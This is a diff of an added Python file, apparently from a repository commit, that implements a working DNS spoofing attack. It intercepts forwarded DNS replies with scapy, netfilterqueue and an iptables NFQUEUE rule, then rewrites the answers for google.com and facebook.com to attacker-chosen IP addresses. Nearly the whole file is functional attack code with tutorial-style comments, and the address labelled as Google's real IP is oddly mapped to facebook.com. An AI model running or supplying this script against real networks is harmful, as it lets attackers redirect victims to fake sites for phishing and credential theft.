|
| 1 | +from scapy.all import * |
| 2 | +from netfilterqueue import NetfilterQueue |
| 3 | +import os |
| 4 | + |
| 5 | + |
| 6 | +# DNS mapping records, feel free to add/modify this dictionary |
| 7 | +# for example, google.com will be redirected to 192.168.1.100 |
| 8 | +dns_hosts = { |
| 9 | + b"www.google.com.": "192.168.1.100", |
| 10 | + b"google.com.": "192.168.1.100", |
| 11 | + b"facebook.com.": "172.217.19.142" |
| 12 | +} |
| 13 | + |
| 14 | + |
| 15 | +def process_packet(packet): |
| 16 | + """ |
| 17 | + Whenever a new packet is redirected to the netfilter queue, |
| 18 | + this callback is called. |
| 19 | + """ |
| 20 | + # convert netfilter queue packet to scapy packet |
| 21 | + scapy_packet = IP(packet.get_payload()) |
| 22 | + if scapy_packet.haslayer(DNSRR): |
| 23 | + # if the packet is a DNS Resource Record (DNS reply) |
| 24 | + # modify the packet |
| 25 | + print("[Before]:", scapy_packet.summary()) |
| 26 | + try: |
| 27 | + scapy_packet = modify_packet(scapy_packet) |
| 28 | + except IndexError: |
| 29 | + # not UDP packet, this can be IPerror/UDPerror packets |
| 30 | + pass |
| 31 | + print("[After ]:", scapy_packet.summary()) |
| 32 | + # set back as netfilter queue packet |
| 33 | + packet.set_payload(bytes(scapy_packet)) |
| 34 | + # accept the packet |
| 35 | + packet.accept() |
| 36 | + |
| 37 | + |
| 38 | +def modify_packet(packet): |
| 39 | + """ |
| 40 | + Modifies the DNS Resource Record `packet` ( the answer part) |
| 41 | + to map our globally defined `dns_hosts` dictionary. |
| 42 | + For instance, whenver we see a google.com answer, this function replaces |
| 43 | + the real IP address (172.217.19.142) with fake IP address (192.168.1.100) |
| 44 | + """ |
| 45 | + # get the DNS question name, the domain name |
| 46 | + qname = packet[DNSQR].qname |
| 47 | + if qname not in dns_hosts: |
| 48 | + # if the website isn't in our record |
| 49 | + # we don't wanna modify that |
| 50 | + print("no modification:", qname) |
| 51 | + return packet |
| 52 | + # craft new answer, overriding the original |
| 53 | + # setting the rdata for the IP we want to redirect (spoofed) |
| 54 | + # for instance, google.com will be mapped to "192.168.1.100" |
| 55 | + packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) |
| 56 | + # set the answer count to 1 |
| 57 | + packet[DNS].ancount = 1 |
| 58 | + # delete checksums and length of packet, because we have modified the packet |
| 59 | + # new calculations are required ( scapy will do automatically ) |
| 60 | + del packet[IP].len |
| 61 | + del packet[IP].chksum |
| 62 | + del packet[UDP].len |
| 63 | + del packet[UDP].chksum |
| 64 | + # return the modified packet |
| 65 | + return packet |
| 66 | + |
| 67 | + |
| 68 | +if __name__ == "__main__": |
| 69 | + QUEUE_NUM = 0 |
| 70 | + # insert the iptables FORWARD rule |
| 71 | + os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM)) |
| 72 | + # instantiate the netfilter queue |
| 73 | + queue = NetfilterQueue() |
| 74 | + try: |
| 75 | + # bind the queue number to our callback `process_packet` |
| 76 | + # and start it |
| 77 | + queue.bind(QUEUE_NUM, process_packet) |
| 78 | + queue.run() |
| 79 | + except KeyboardInterrupt: |
| 80 | + # if want to exit, make sure we |
| 81 | + # remove that rule we just inserted, going back to normal. |
| 82 | + os.system("iptables --flush") |
0 commit comments